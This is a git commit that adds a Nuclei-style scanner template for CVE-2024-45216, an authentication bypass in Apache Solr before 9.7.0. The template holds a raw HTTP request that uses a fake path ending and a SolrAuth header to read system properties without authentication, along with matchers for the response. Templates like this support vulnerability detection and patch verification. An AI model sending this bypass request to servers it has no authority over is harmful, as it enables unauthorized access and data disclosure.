added template for CVE-2024-45216

patch-13
DuyVuong 2024-10-29 15:20:04 +07:00 committed by GitHub
parent 203997f519
commit c1357243c2
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
1 changed files with 28 additions and 0 deletions

View File

@ -0,0 +1,28 @@
id: CVE-2024-45216
info:
name: Authentication bypass in Apache Solr
author: gumgum
severity: critical
description: Apache Solr before 9.7.0 allows an attacker to bypass authentication via a crafted HTTP request.
reference:
- https://shfsec.com/cve-2024-45216-authentication-bypass-in-apache-solr
- https://nvd.nist.gov/vuln/detail/CVE-2024-45216
- https://solr.apache.org/security.html#cve-2024-45216-apache-solr-authentication-bypass-possible-using-a-fake-url-path-ending
tags: apache, solr, authentication bypass
http:
- raw:
- |
GET /solr/admin/info/properties:/admin/info/key HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
SolrAuth: gumgum
matchers:
- type: word
part: body
words:
- "responseHeader"
- "system.properties"
condition: and